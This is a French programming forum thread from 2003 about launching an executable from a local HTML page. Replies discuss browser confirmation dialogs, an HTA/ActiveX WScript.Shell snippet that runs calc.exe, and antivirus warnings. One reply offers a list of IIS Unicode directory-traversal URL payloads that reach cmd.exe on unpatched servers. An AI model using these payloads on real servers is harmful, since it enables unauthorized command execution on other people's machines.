Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1642 connectés 

  FORUM HardWare.fr
  Programmation
  HTML/CSS

  Lancer un programme à partir d'une page HTML

 


 Mot :   Pseudo :  
 
Bas de page
Auteur Sujet :

Lancer un programme à partir d'une page HTML

n°305303
mandrax
Posté le 10-02-2003 à 10:57:43  profilanswer
 

est il possible de lancer un executable, comme on peut le faire avec l'explorateur windows, à partir d'une page html, n'y aurait il pas klk chose a faire avec les activex ou applet java ?

mood
Publicité
Posté le 10-02-2003 à 10:57:43  profilanswer
 

n°305317
babylonia
Posté le 10-02-2003 à 11:20:03  profilanswer
 

pk tu ve faire koi?  :heink:

n°305319
mandrax
Posté le 10-02-2003 à 11:22:00  profilanswer
 

ba en fait je suis entrain de créer un site intranet destiné à etre consulté directement à partir d'un disque dur en local donc, et je souhaiterais mettre un lien permettant de lancer une application externe

n°305351
babylonia
Posté le 10-02-2003 à 12:02:58  profilanswer
 

bah si c en local il suffit de mettre le chemin du fichier en lien lol!

n°305534
mandrax
Posté le 10-02-2003 à 15:43:19  profilanswer
 

ba tu te trompes, test et tu verras qu'il y a tout de meme la boite de dialogue de téléchargement

n°305542
babylonia
Posté le 10-02-2003 à 15:52:33  profilanswer
 

mandrax a écrit :

ba tu te trompes, test et tu verras qu'il y a tout de meme la boite de dialogue de téléchargement


oui
et tu pe choisir entre lancer et télécharger;)
sufit de faire lancer..
 
mais de tte facon tu devras tjrs avoir une confirmation de lutilisateur, sinon imagine les désastres  :whistle: , on pourait lancer des virus sur le PC du visiteur  :(  
 

n°322280
Falconpage
HFR Powered since 1998
Posté le 04-03-2003 à 09:11:05  profilanswer
 

Idem je voudrais faire la même chose que lui car les gens ne comprennent pas qu'il faut cliquer sur "ouvrir" et pas sur enregistrer :o
 
 
De plus quand on clique sur le lien (si c'est un gros fichier) celui-ci se charge en local (je suis sur un cdrom) ce qui prend parfois 2-3 minutes avant d'afficher la boîte de dialogue "téléchargement" :fou:
 
 
Une idée  ?
 

n°322355
El_gringo
Posté le 04-03-2003 à 10:36:14  profilanswer
 

Falconpage a écrit :

Idem je voudrais faire la même chose que lui car les gens ne comprennent pas qu'il faut cliquer sur "ouvrir" et pas sur enregistrer :o
 
 
De plus quand on clique sur le lien (si c'est un gros fichier) celui-ci se charge en local (je suis sur un cdrom) ce qui prend parfois 2-3 minutes avant d'afficher la boîte de dialogue "téléchargement" :fou:
 
 
Une idée  ?


 
T'as pas lu, juste au dessus de ton message ? On vient de te dire qu'il faut forcément une confirmation. Tu zappera pas de boite de dialogue...

n°322956
thesmiling​face
Earth Disasters Fundation
Posté le 04-03-2003 à 21:23:12  profilanswer
 

ouaip, si vous tenez à ce que votre intranet lance des programmes,  
y a pas d'autre solution que mettre une version pourrie d'IE et exploiter dans les pages une faille de securite (ça peut etre pratique, mais si vos navigateurs visitent internet, c'est pas conseillé)

n°322961
skylight
Made in France.
Posté le 04-03-2003 à 21:29:15  profilanswer
 

thesmilingface a écrit :

ouaip, si vous tenez à ce que votre intranet lance des programmes,  
y a pas d'autre solution que mettre une version pourrie d'IE et exploiter dans les pages une faille de securite (ça peut etre pratique, mais si vos navigateurs visitent internet, c'est pas conseillé)


 
tu te répètes, là :D

mood
Publicité
Posté le 04-03-2003 à 21:29:15  profilanswer
 

n°322980
thesmiling​face
Earth Disasters Fundation
Posté le 04-03-2003 à 21:55:48  profilanswer
 

on rigole, on rigole...
mais je rappelle les stats:
 - IE    95 %
 
 dont
       IE5.x    47 %
       IE6      46 %
 
 et les désoeuvrés:
        IE4.x   1,58%
        IE3.x   0,02%
 
si on pose qu'un ie est pourri si son numero de version est inferieur à 6 , on a CPOURRI=49%
 
si on pose qu'ie6 est tout nouveau, tout bo et megastable (surtout dans le cas d'un cd gravé d'ie6 rangé à plat au fond d'un tiroir)
on a TOPDUTOP=46%
 
ça fait 5% de navigateurs alternatifs
  dont 4% de Netscape
 
et Mozilla ? et Opera ? ils sont là dedans =>  [ 1 % ]
ça fait mal...

n°322981
babylonia
Posté le 04-03-2003 à 21:57:47  profilanswer
 

Skylight a écrit :


 
tu te répètes, là :D


 
bon tu veux réellement la soluce?
je vais te la donner...
 
 
Tu installe IIS4.0 ou meme 5.0 sur ton WINNT
tu patch rien du tout,
ton serveur sera plein de faille.
 
Ensuite tu fout tes pages etc..
et pour executer tu utilise une faille unicode
 
 
exemple de faille :
/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir
/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir
/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir
/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir
/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
 
 
 
 
par exemple sur ton site
www.abc.com/scripts/..%255c../winn [...] exe?/c+dir
 
 
tu rajoute a lurl
 
www.abc.com/scripts/..%255c../winn [...] ichier.EXe
 
et ca va executer le fichier sur le server...
 
 
ETC
tu pe tamuser a tentrainer a exploiter toute les failles IIS si tu ve
fé des recherches
 
ATTENTION ce message est a titre indicatif
et biensur tu pe hacker ta machine mais pas celle d otre....
 
ADmin: edit mon msg si besoin
++
a bon entendeur

n°323007
antp
Super Administrateur
Champion des excuses bidons
Posté le 04-03-2003 à 22:35:55  profilanswer
 

Y a moyen de passer la confirmation mais :
- ça ne marche qu'en local (page dont l'url commence par file://)
- ça ne marche qu'avec IE
- ça ne marche qu'avec les .hta
 
ex:


<html>
<head>
<script language="javascript">
<!--
   function lancertruc() {
      var wScript = new ActiveXObject("Wscript.Shell" );
      wScript.run("calc.exe" );
      return false;
   }
 
//-->
</script>
</head>
<body>
<a href="" onClick="return lancertruc();">calc.exe</a>
</body>
</html>


à sauver dans un fichier à l'extension .hta
 
via des paramètres y a moyen de mettre le truc en fullscreen au démarrage, etc. :


<hta:application border="none" singleinstance="yes" windowstate="maximize" scroll="no" caption="no" innerborder="no">
</hta:application>


(à rajouter dans le head)
c'est pratique pour des autoruns de CD


Message édité par antp le 04-03-2003 à 22:37:27
n°323017
skylight
Made in France.
Posté le 04-03-2003 à 22:59:23  profilanswer
 

thesmilingface a écrit :

on rigole, on rigole...


 
je parle pas de sécurité et d'utilisation
 
je parle d'IE et son parsing de l'HTML
 
pourquoi ya plein de failles ? paske il a tendance a tout accepter
 
une page qui marche sous IE est loin de forcément marcher niquel sous mozilla

n°323021
babylonia
Posté le 04-03-2003 à 23:09:09  profilanswer
 

antp a écrit :

Y a moyen de passer la confirmation mais :
- ça ne marche qu'en local (page dont l'url commence par file://)
- ça ne marche qu'avec IE
- ça ne marche qu'avec les .hta
 
ex:


<html>
<head>
<script language="javascript">
<!--
   function lancertruc() {
      var wScript = new ActiveXObject("Wscript.Shell" );
      wScript.run("calc.exe" );
      return false;
   }
 
//-->
</script>
</head>
<body>
<a href="" onClick="return lancertruc();">calc.exe</a>
</body>
</html>


à sauver dans un fichier à l'extension .hta
 
via des paramètres y a moyen de mettre le truc en fullscreen au démarrage, etc. :


<hta:application border="none" singleinstance="yes" windowstate="maximize" scroll="no" caption="no" innerborder="no">
</hta:application>


(à rajouter dans le head)
c'est pratique pour des autoruns de CD
 


 
tres interessant le .HTA
 
en fait ce kil pe faire ossi c presk la meme choz, avec le coup du ActiveX objet, mais il y a une confirmation, et pr virer la confirmation sufit de changer les parametre de securité concernant lactiveX sur tte les bécane du rezo ki font utiliser le site  :lol:  

n°323059
gm_superst​ar
Appelez-moi Super
Posté le 05-03-2003 à 00:03:24  profilanswer
 

Skylight a écrit :

je parle pas de sécurité et d'utilisation
 
je parle d'IE et son parsing de l'HTML
 
pourquoi ya plein de failles ? paske il a tendance a tout accepter


Il n'y a pas forcément de lien entre le fait que le moteur de rendu d'IE soit très laxiste avec le code HTML qu'il interprète et la sécurité.
 
Les problèmes de sécurité sont principalement dû à l'implémentation de JavaScript et à l'intégration poussé du navigateur avec l'OS.

Skylight a écrit :

une page qui marche sous IE est loin de forcément marcher niquel sous mozilla


Hélas :/


---------------
Incongru : une FAQ abandonnée sur les Standards du Web - FAQ périmée de blabla@Prog
n°328140
Falconpage
HFR Powered since 1998
Posté le 10-03-2003 à 11:15:49  profilanswer
 

antp a écrit :

Y a moyen de passer la confirmation mais :
- ça ne marche qu'en local (page dont l'url commence par file://)
- ça ne marche qu'avec IE
- ça ne marche qu'avec les .hta
 
ex:


<html>
<head>
<script language="javascript">
<!--
   function lancertruc() {
      var wScript = new ActiveXObject("Wscript.Shell" );
      wScript.run("calc.exe" );
      return false;
   }
 
//-->
</script>
</head>
<body>
<a href="" onClick="return lancertruc();">calc.exe</a>
</body>
</html>


à sauver dans un fichier à l'extension .hta
 
via des paramètres y a moyen de mettre le truc en fullscreen au démarrage, etc. :


<hta:application border="none" singleinstance="yes" windowstate="maximize" scroll="no" caption="no" innerborder="no">
</hta:application>


(à rajouter dans le head)
c'est pratique pour des autoruns de CD
 


 
Merci :jap:
 
Je vais tester.

n°328152
El_gringo
Posté le 10-03-2003 à 11:45:06  profilanswer
 

antp a écrit :

Y a moyen de passer la confirmation mais :
- ça ne marche qu'en local (page dont l'url commence par file://)
- ça ne marche qu'avec IE
- ça ne marche qu'avec les .hta
 
ex:


<html>
<head>
<script language="javascript">
<!--
   function lancertruc() {
      var wScript = new ActiveXObject("Wscript.Shell" );
      wScript.run("calc.exe" );
      return false;
   }
 
//-->
</script>
</head>
<body>
<a href="" onClick="return lancertruc();">calc.exe</a>
</body>
</html>


à sauver dans un fichier à l'extension .hta
 
via des paramètres y a moyen de mettre le truc en fullscreen au démarrage, etc. :


<hta:application border="none" singleinstance="yes" windowstate="maximize" scroll="no" caption="no" innerborder="no">
</hta:application>


(à rajouter dans le head)
c'est pratique pour des autoruns de CD
 


 
...sauf que, quand j'essaye de lancer un programme par ce truc, norton me balance une grosse alerte : "Attention, script malveillant, voulez vous autoriser son exécution ?".
Pour un autorun, c moyen, ça met pas vraiment l'utilisateur en confiance ! :D


Message édité par El_gringo le 10-03-2003 à 11:47:17
n°328154
antp
Super Administrateur
Champion des excuses bidons
Posté le 10-03-2003 à 11:51:29  profilanswer
 

ha ? chez moi Norton ne dit rien [:wam] T'as bien mis .hta au lieu de .html ?


---------------
mes programmes ·· les voitures dans les films ·· apprenez à écrire
n°328240
El_gringo
Posté le 10-03-2003 à 14:08:30  profilanswer
 

antp a écrit :

ha ? chez moi Norton ne dit rien [:wam] T'as bien mis .hta au lieu de .html ?


 
Ouais


Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Programmation
  HTML/CSS

  Lancer un programme à partir d'une page HTML

 

Sujets relatifs
Sélectionner et classer des champs à partir d'une liste...[PHP] Résultat à partir d'une BD
[HTML] faire un formulaire sans dynamique ni mail ??Formulaire HTML et blocage des champs
W3C: que deux erreurs, mais je comprends pas.. body et htmlInclure une image dans le code HTML
[HTML] Tableau : encadrement d'une cellule[HTML] pour imbriquer des <table> sans bordure?[RESOLU]
[C++Builder] Détecter si un programme (.exe) est déja lancé ? (code?)[html]=superposition de deux images.
Plus de sujets relatifs à : Lancer un programme à partir d'une page HTML


Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR